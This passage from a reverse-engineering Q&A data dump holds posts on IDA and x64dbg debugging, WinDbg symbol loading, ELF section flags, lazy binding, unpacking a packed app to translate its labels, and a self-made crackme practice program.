here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what am I doing wrong here? Why is the Python script returning the wrong value?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2019-06-14T06:32:59.247" Title="How to call WinApi from a breakpoint in IDA Pro?" Tags="|ida|idapython|windbg|winapi|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21443" PostTypeId="2" ParentId="21430" CreationDate="2019-06-09T11:34:17.440" Score="2" Body="&lt;p&gt;&lt;strong&gt;Yes, it is possible while compiling with &lt;code&gt;clang&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;clang -o helloworld helloworld.c&lt;/code&gt;. To test it, run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export LD_DEBUG=reloc,symbols&#xA;./helloWorld&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;code&gt;LD_BIND_NOW&lt;/code&gt; null and then with &lt;code&gt;LD_BIND_NOW&lt;/code&gt; equal &lt;code&gt;1&lt;/code&gt;. You will see that in the first case the call to &lt;code&gt;printf&lt;/code&gt; is indeed being resolved at demand, and in the second case it will be resolved before transferring control to the program.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LD_BIND_NOW=null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QejFD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QejFD.jpg&quot; alt=&quot;LD_BIND_NOW_NULL&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LD_BIND_NOW=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8QfHv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8QfHv.jpg&quot; alt=&quot;LD_BIND_NOW_1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't work for &lt;code&gt;GCC&lt;/code&gt; for some reason, as you have noticed, at least without specifying relevant options.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-06-09T11:45:10.790" LastActivityDate="2019-06-09T11:45:10.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21446" PostTypeId="2" ParentId="8572" CreationDate="2019-06-09T22:57:48.090" Score="2" Body="&lt;p&gt;Apparently IDA 7.0 (and earlier?) supports a &quot;pass count&quot; for a breakpoint, you can even see a column for that in the breakpoint list window, but I found no way to configure it via the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the following Python commands to create a breakpoint with a pass count though, where &lt;code&gt;0x12345678&lt;/code&gt; is the address at which you want to set it, and &lt;code&gt;42&lt;/code&gt; the hit count:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_bpt(0x12345678, 1, BPT_DEFAULT)&#xA;set_bpt_attr(0x12345678, BPTATTR_COUNT, 42)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2019-06-09T22:57:48.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21447" PostTypeId="2" ParentId="21396" CreationDate="2019-06-10T00:31:51.057" Score="3" Body="&lt;p&gt;If you have loaded the binary into IDA and the data has no references, I would suggest, you have loaded the binary into the wrong address space.. Or it's referenced in a relative fashion and you have not decoded the code that references it.. depending on the CPU and how does references, aka something like a FR only does absolute references, so you can workout that address space via function calls, where-as ARM uses a lot of relative calls, this is where using the issues to find out of bound memory accesses can help to identify the correct base address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general I load a file at zero, then looking for memory address offset, jmps to addresses that don't make sense. Then I open a new project and load the image at the &quot;new offset&quot; that I think it now correct, and go from there.. I find that each model camera the code is loaded into a new location/address for Nikon camera's, it's a matter of finding the correct one, and when you do it makes more sense. The next thing is if code is copied into RAM to allow for updating of the firmware, Nikon does this, or load it's RTOS at different locations. All which might be the code accessing this data.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2019-06-10T00:31:51.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21449" PostTypeId="1" CreationDate="2019-06-10T03:05:47.813" Score="1" ViewCount="316" Body="&lt;p&gt;In OllyDbg there was a thing called &lt;code&gt;&quot;local call from xxx,xxx,xxx,xxx ... &quot;&lt;/code&gt; which helps me know from where a function is being called in the entire module. Does such a feature exist in x64dbg as well?&lt;/p&gt;&#xA;" OwnerUserId="20481" LastEditorUserId="27930" LastEditDate="2019-06-11T09:14:36.873" LastActivityDate="2021-06-30T14:01:25.137" Title="'local call from' in x64dbg" Tags="|windows|ollydbg|functions|x64dbg|tracing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21450" PostTypeId="2" ParentId="21449" CreationDate="2019-06-10T09:30:31.803" Score="1" Body="&lt;p&gt;To find all calls to the given function, select the first line of disassembly of this function and press &lt;code&gt;Ctrl&lt;/code&gt;+&lt;code&gt;R&lt;/code&gt;. Then, in &lt;code&gt;References&lt;/code&gt; window, you will see all calls, sorted increasingly by address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when you know the module starting and ending address (look at the &lt;code&gt;Symbols&lt;/code&gt; window at &lt;code&gt;Base&lt;/code&gt; column of this and subsequent module), all listed calls with addresses between them will be the calls from a specific module to that function.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-06-10T09:30:31.803" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21453" PostTypeId="1" CreationDate="2019-06-10T21:04:38.247" Score="3" ViewCount="13469" Body="&lt;p&gt;I've done this in one VM but I can't seem to replicate it in another. I'm using IDA to analyze a 32-bit Windows PE file. I then want to step thru it with a WinDbg debugger from within IDA. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I begin debugging it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v6qAJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v6qAJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And break on a breakpoint, I want to load symbols, say for cmtcmt32.dll:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mZo0p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mZo0p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But instead of loading them it gives me this &quot;Choose PDB file&quot; window:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/S34Ui.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S34Ui.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I set it up to load it from the Microsoft public symbol server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I tried running the following commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.sympath srv*c:symbols*https://msdl.microsoft.com/download/symbols&#xA;.reload /f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't do anything. It just shows a bunch of errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mvdjv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mvdjv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lxLch.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lxLch.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2020-05-24T10:03:55.503" Title="How to configure IDA to load .pdb files from Microsoft public symbol server?" Tags="|ida|windbg|symbols|debugging-symbols|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21454" PostTypeId="1" CreationDate="2019-06-11T00:59:44.390" Score="1" ViewCount="2875" Body="&lt;p&gt;A friend asked me to make some small mod on a app.&#xA;The mod should be to rewrite some labels like button, textbox text into his&#xA;language, so he can better understand the app...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I loaded the app to IDA 7.0 and the two dll's too which are UPX packed, but I unpacked it before loading into IDA, but I can't find any string...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing.&#xA;There should be some buttons labeled with &quot;Diagnostic&quot;, &quot;Settings&quot;, &quot;About the program&quot; etc. But no way to figure out why I cant find all the strings...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link to the files I got:&#xA;&lt;a href=&quot;https://mega.nz/#!00smnaBL!QjO91FQgeN9ZjRNN8CrzRI3SYqqUwAIDuHgpkqpZDLc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Files &lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be nice.&#xA;Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="28675" LastActivityDate="2020-04-07T12:01:20.327" Title="Can't find any string with IDA, why?" Tags="|ida|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21455" PostTypeId="1" CreationDate="2019-06-11T04:21:57.590" Score="1" ViewCount="736" Body="&lt;p&gt;I wasn't exactly sure if this is the right place, as opposed to thinkdifferent or stackoverflow but I figure this might be a good place to start. I have a Macbook Pro 2018 15-inch laptop and want to to run linux. Unfortunately, Apple has moved some driver functions of the SSD or SSD controller to the T2 chip so currently no version of linux is able to &quot;see&quot; the SSD, and thus Linux can't be &lt;strong&gt;installed&lt;/strong&gt; on these machines, although you can theoretically run it off an external drive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since MacOS is a darwin-BSD fork, I wanted to know if anyone had opinions on whether to start with the MacOS driver or the driver for Windows 10, since Apple allows/enables Windows 10 via bootcamp. I've turned off all the security options and disabled csrutil. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This github thread seems willing, and slowly making progress:&#xA;&lt;a href=&quot;https://github.com/Dunedan/mbp-2016-linux/issues/71&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Dunedan/mbp-2016-linux/issues/71&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to install Linux on this model's predecessor, which is nearly identical, with the major difference being the T2 chip:&#xA;&lt;a href=&quot;https://foolcontrol.org/?p=2952&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://foolcontrol.org/?p=2952&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm willing to risk bricking my machine to get a working driver out there, but I've never written any kind of hardware driver, much less try to reverse-engineer one! Any guidance on where to start or which tools to use to capture IO?  &lt;/p&gt;&#xA;" OwnerUserId="28677" LastEditorUserId="28677" LastEditDate="2019-07-01T15:22:04.423" LastActivityDate="2019-08-01T07:39:33.883" Title="Reverse engineer Apple T2/SSD driver for linux" Tags="|driver|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21456" PostTypeId="1" CreationDate="2019-06-11T05:51:35.943" Score="1" ViewCount="1424" Body="&lt;p&gt;I have decompiled exe using pyextractor script and generated &#xA;these files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PYZ-00.pyz&#xA;PYZ-00.pyz_extracted&#xA;gui&#xA;pyi_rth_tkinter&#xA;pyi_rth_multiprocessing&#xA;pyi_rth_pkgres&#xA;pyi_rth_win32comgenpy&#xA;pyiboot01_bootstrap&#xA;pyimod01_os_path&#xA;pyimod02_archive&#xA;pyimod03_importers&#xA;struc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that gui is the entry file. &#xA;After updating header of gui , decompiled it to gui.py file.&#xA;(my process is similar to this one &#xA;&lt;a href=&quot;https://hshrzd.wordpress.com/2018/01/26/solving-a-pyinstaller-compiled-crackme/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hshrzd.wordpress.com/2018/01/26/solving-a-pyinstaller-compiled-crackme/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is how to generate exe file so that it contains all the files from PYZ-00.pyz_extracted folder?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="28635" LastActivityDate="2020-01-13T11:23:53.013" Title="How to embed PYZ.-00.pyz_extracted folder with entry .py file to generate exe file?" Tags="|assembly|pe|python|crackme|exe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21458" PostTypeId="1" AcceptedAnswerId="21459" CreationDate="2019-06-11T08:27:47.627" Score="1" ViewCount="336" Body="&lt;p&gt;For starters guys please don't get mad at me because I really googled this question for a while and couldn't find a satisfying answer. Also if I'm asking an idiotic question, I apologize beforehand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I basically want to do is to hex edit an executable file to change an integer variable in an address I know from signed to unsigned. Is this even possible? to change variable types by hex editing? I know how to change the value of the variable, but how can I change its type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Ray.&lt;/p&gt;&#xA;" OwnerUserId="25394" LastEditorUserId="27930" LastEditDate="2019-06-11T09:15:01.980" LastActivityDate="2019-06-11T09:15:01.980" Title="Hex editing a program to change variable types" Tags="|assembly|executable|patching|hex|hexadecimal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21459" PostTypeId="2" ParentId="21458" CreationDate="2019-06-11T08:41:46.950" Score="1" Body="&lt;p&gt;Yes, it is possible, &lt;strong&gt;but by changing instructions, not data&lt;/strong&gt;. In assembly there is no way to tell that a particular integer variable is signed or unsigned until you interpret it in the one or another way (and you may change this interpretation many times). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing this, to interpret some integer value you use instructions like &lt;code&gt;ja&lt;/code&gt;, &lt;code&gt;jb&lt;/code&gt; or &lt;code&gt;mul&lt;/code&gt; in case of unsigned integer, or &lt;code&gt;jg&lt;/code&gt;, &lt;code&gt;jl&lt;/code&gt; or &lt;code&gt;imul&lt;/code&gt; in case of signed integer (in &lt;code&gt;x86&lt;/code&gt; architecture). So, if you want to change the way the particular integer is interpreted, you have to change instructions in one of these groups to their counterparts in the second one. &lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-06-11T08:41:46.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21460" PostTypeId="1" AcceptedAnswerId="21463" CreationDate="2019-06-11T10:39:41.823" Score="6" ViewCount="4289" Body="&lt;p&gt;Given this classic &lt;code&gt;helloworld.c&lt;/code&gt; example,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main() {&#xA;    printf(&quot;Hello world!\n&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In below &lt;code&gt;sections&lt;/code&gt; output, the value for &lt;code&gt;Flags&lt;/code&gt; presents a couple of different values, e.g. &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;AI&lt;/code&gt;, &lt;code&gt;AX&lt;/code&gt;, &lt;code&gt;WA&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://man7.org/linux/man-pages/man5/elf.5.html&quot; rel=&quot;noreferrer&quot;&gt;man elf&lt;/a&gt;, I understand &lt;code&gt;A&lt;/code&gt; probably corresponds to &lt;code&gt;SHF_ALLOC&lt;/code&gt;, &lt;code&gt;W&lt;/code&gt; for &lt;code&gt;SHF_WRITE&lt;/code&gt;, &lt;code&gt;X&lt;/code&gt; for &lt;code&gt;SHF_EXECINSTR&lt;/code&gt;. But how about &lt;code&gt;AI&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is the correspondence between  those long and short forms documented?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -S helloworld&#xA;&#xA;There are 34 section headers, starting at offset 0x2188:&#xA;&#xA;Section Headers:&#xA;  [Nr] Name              Type             Address           Offset&#xA;       Size              EntSize          Flags  Link  Info  Align&#xA;  [ 0]                   NULL             0000000000000000  00000000&#xA;       0000000000000000  0000000000000000           0     0     0&#xA;  [ 1] .interp           PROGBITS         0000000000000238  00000238&#xA;       000000000000001c  0000000000000000   A       0     0     1&#xA;  [ 2] .note.ABI-tag     NOTE             0000000000000254  00000254&#xA;       0000000000000020  0000000000000000   A       0     0     4&#xA;  [ 3] .note.gnu.build-i NOTE             0000000000000274  00000274&#xA;       0000000000000024  0000000000000000   A       0     0     4&#xA;  [ 4] .gnu.hash         GNU_HASH         0000000000000298  00000298&#xA;       000000000000001c  0000000000000000   A       5     0     8&#xA;  [ 5] .dynsym           DYNSYM           00000000000002b8  000002b8&#xA;       00000000000000a8  0000000000000018   A       6     1     8&#xA;  [ 6] .dynstr           STRTAB           0000000000000360  00000360&#xA;       0000000000000082  0000000000000000   A       0     0     1&#xA;  [ 7] .gnu.version      VERSYM           00000000000003e2  000003e2&#xA;       000000000000000e  0000000000000002   A       5     0     2&#xA;  [ 8] .gnu.version_r    VERNEED          00000000000003f0  000003f0&#xA;       0000000000000020  0000000000000000   A       6     1     8&#xA;  [ 9] .rela.dyn         RELA             0000000000000410  00000410&#xA;       00000000000000c0  0000000000000018   A       5     0     8&#xA;  [10] .rela.plt         RELA             00000000000004d0  000004d0&#xA;       0000000000000018  0000000000000018  AI       5    22     8&#xA;  [11] .init             PROGBITS         00000000000004e8  000004e8&#xA;       0000000000000017  0000000000000000  AX       0     0     4&#xA;  [12] .plt              PROGBITS         0000000000000500  00000500&#xA;       0000000000000020  0000000000000010  AX       0     0     16&#xA;  [13] .plt.got          PROGBITS         0000000000000520  00000520&#xA;       0000000000000008  0000000000000008  AX       0     0     8&#xA;  [14] .text             PROGBITS         0000000000000530  00000530&#xA;       00000000000001a2  0000000000000000  AX       0     0     16&#xA;  [15] .fini             PROGBITS         00000000000006d4  000006d4&#xA;       0000000000000009  0000000000000000  AX       0     0     4&#xA;  [16] .rodata           PROGBITS         00000000000006e0  000006e0&#xA;       0000000000000011  0000000000000000   A       0     0     4&#xA;  [17] .eh_frame_hdr     PROGBITS         00000000000006f4  000006f4&#xA;       000000000000003c  0000000000000000   A       0     0     4&#xA;  [18] .eh_frame         PROGBITS         0000000000000730  00000730&#xA;       0000000000000108  0000000000000000   A       0     0     8&#xA;  [19] .init_array       INIT_ARRAY       0000000000200db8  00000db8&#xA;       0000000000000008  0000000000000008  WA       0     0     8&#xA;  [20] .fini_array       FINI_ARRAY       0000000000200dc0  00000dc0&#xA;       0000000000000008  0000000000000008  WA       0     0     8&#xA;  [21] .dynamic          DYNAMIC          0000000000200dc8  00000dc8&#xA;       00000000000001f0  0000000000000010  WA       6     0     8&#xA;  [22] .got              PROGBITS         0000000000200fb8  00000fb8&#xA;       0000000000000048  0000000000000008  WA       0     0     8&#xA;  [23] .data             PROGBITS         0000000000201000  00001000&#xA;       0000000000000010  0000000000000000  WA       0     0     8&#xA;  [24] .bss              NOBITS           0000000000201010  00001010&#xA;       0000000000000008  0000000000000000  WA       0     0     1&#xA;&#xA;More following...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Let's dump the section header table in binary to see what's actually stored in place of the &lt;code&gt;Flags&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;hexdump -v -s 0x2188 -n 768 -e '4/1 &quot;%02x&quot; &quot; &quot; 4/1 &quot;%02x&quot; &quot; &quot; 8/1 &quot;%02x&quot; &quot; &quot; 48/1 &quot;%02x&quot; &quot;\n&quot;' helloworld&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As per &lt;code&gt;Elf64_Shdr&lt;/code&gt; struct, the 3rd column in the following output is&#xA;  the binary form of flags(&lt;code&gt;sh_flags&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 00000000 0000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&#xA;1b000000 01000000 0200000000000000 380200000000000038020000000000001c00000000000000000000000000000001000000000000000000000000000000&#xA;23000000 07000000 0200000000000000 540200000000000054020000000000002000000000000000000000000000000004000000000000000000000000000000&#xA;31000000 07000000 0200000000000000 740200000000000074020000000000002400000000000000000000000000000004000000000000000000000000000000&#xA;44000000 f6ffff6f 0200000000000000 980200000000000098020000000000001c00000000000000050000000000000008000000000000000000000000000000&#xA;4e000000 0b000000 0200000000000000 b802000000000000b802000000000000a800000000000000060000000100000008000000000000001800000000000000&#xA;56000000 03000000 0200000000000000 600300000000000060030000000000008200000000000000000000000000000001000000000000000000000000000000&#xA;5e000000 ffffff6f 0200000000000000 e203000000000000e2030000000000000e00000000000000050000000000000002000000000000000200000000000000&#xA;6b000000 feffff6f 0200000000000000 f003000000000000f0030000000000002000000000000000060000000100000008000000000000000000000000000000&#xA;7a000000 04000000 0200000000000000 10040000000000001004000000000000c000000000000000050000000000000008000000000000001800000000000000&#xA;84000000 04000000 4200000000000000 d004000000000000d0040000000000001800000000000000050000001600000008000000000000001800000000000000&#xA;8e000000 01000000 0600000000000000 e804000000000000e8040000000000001700000000000000000000000000000004000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As a combination of above two outputs, the following correspondence between the flag's binary form and the literal form is observed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02 = 0000 0010 = A&#xA;42 = 0100 0010 = AI&#xA;06 = 0000 0110 = AX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are these correspondences documented?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="28035" LastEditorUserId="28035" LastEditDate="2019-06-11T10:51:00.937" LastActivityDate="2020-08-11T18:31:57.263" Title="Meaning of Flags in ELF Section header?" Tags="|elf|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21462" PostTypeId="2" ParentId="21454" CreationDate="2019-06-11T11:40:27.760" Score="0" Body="&lt;p&gt;The file is compressed with MPRESS. The first thing you do is debug it with OllyDbg. &#xA;You can follow this link for unpacking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unpacked size is ~143MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=-Cg6KPMFOG0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=-Cg6KPMFOG0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to modify the strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2mGiK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2mGiK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cMwEF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cMwEF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below, you can see the properties of each strings or button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H4WCa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H4WCa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23113" LastActivityDate="2019-06-11T11:40:27.760" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21463" PostTypeId="2" ParentId="21460" CreationDate="2019-06-11T13:10:19.620" Score="8" Body="&lt;p&gt;The flag abbreviation of the letter &quot;I&quot; stands for &lt;code&gt;SHF_INFO_LINK&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;readelf&lt;/code&gt; is open-source you can access its code to verify this. This will also show you the full list of Flag possibilities:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&#xA;switch (flag)&#xA;        {&#xA;        case SHF_WRITE:     *p = 'W'; break;&#xA;        case SHF_ALLOC:     *p = 'A'; break;&#xA;        case SHF_EXECINSTR:     *p = 'X'; break;&#xA;        case SHF_MERGE:     *p = 'M'; break;&#xA;        case SHF_STRINGS:       *p = 'S'; break;&#xA;        case SHF_INFO_LINK:     *p = 'I'; break;&#xA;        case SHF_LINK_ORDER:    *p = 'L'; break;&#xA;        case SHF_OS_NONCONFORMING:  *p = 'O'; break;&#xA;        case SHF_GROUP:     *p = 'G'; break;&#xA;        case SHF_TLS:       *p = 'T'; break;&#xA;        case SHF_EXCLUDE:       *p = 'E'; break;&#xA;        case SHF_COMPRESSED:    *p = 'C'; break;&#xA;        case SHF_GNU_MBIND:     *p = 'D'; break;&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The relevant lines on Github can be found in the &lt;a href=&quot;https://github.com/bminor/binutils-gdb/blob/8bbce0c70250334f436b4e52983f3538d3bdb9ce/binutils/readelf.c#L5931&quot; rel=&quot;noreferrer&quot;&gt;following link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2019-06-11T13:10:19.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21464" PostTypeId="1" CreationDate="2019-06-11T15:02:24.427" Score="-1" ViewCount="745" Body="&lt;p&gt;I've made a simple c++ program. In the ollydbg i searching for the string which is my name, there are 2-3 call functions near the string location but i don't know what those function do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is is there a way to know what those function do? is it print function or maybe other function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/igDu7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/igDu7.png&quot; alt=&quot;the program&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28660" LastEditorUserId="28660" LastEditDate="2019-06-11T15:34:59.820" LastActivityDate="2021-02-10T09:02:55.237" Title="How to know what does the function do?" Tags="|ollydbg|x64dbg|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21465" PostTypeId="1" AcceptedAnswerId="21517" CreationDate="2019-06-11T15:30:46.350" Score="0" ViewCount="625" Body="&lt;p&gt;I'm pretty much new to the Reverse Engineering and assembly language. I've watched some videos about OllyDbg and cracking serial numbers in programs and I got interested in them and I want to learn more about assembly. Therefore I created a little console program myself in C# to practice:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using System;&#xA;namespace ConsoleApp3&#xA;{&#xA;    class Program&#xA;    {&#xA;        static void Main(string[] args)&#xA;        {&#xA;            Console.Write(&quot;Please enter the code: &quot;);&#xA;            string code = &quot;af2152ats7u35e&quot;;&#xA;            string input = Console.ReadLine();&#xA;            if (input == code)&#xA;                Console.WriteLine(&quot;The code is correct!&quot;);&#xA;            else&#xA;                Console.WriteLine(&quot;You failed, try again...&quot;);&#xA;            Console.ReadLine();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course I can find the string in a text document, but the point was to actually use OllyDbg to jump over the checking part and right away give the &quot;code is correct&quot;, just to practice the reverse engineering.&#xA;At first I thought it's gonna be easy and I'm gonna manipulate the program in different ways, but it turns out the strings are not shown as ASCII in the CPU view:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ldtic.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ldtic.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I thought it's gonna be shown as in this video: &lt;a href=&quot;https://youtu.be/uydMlQlEiyc?t=39&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/uydMlQlEiyc?t=39&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead I can only find them in the dump view:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/t2OO8.png&quot; rel=&quot;nofollow 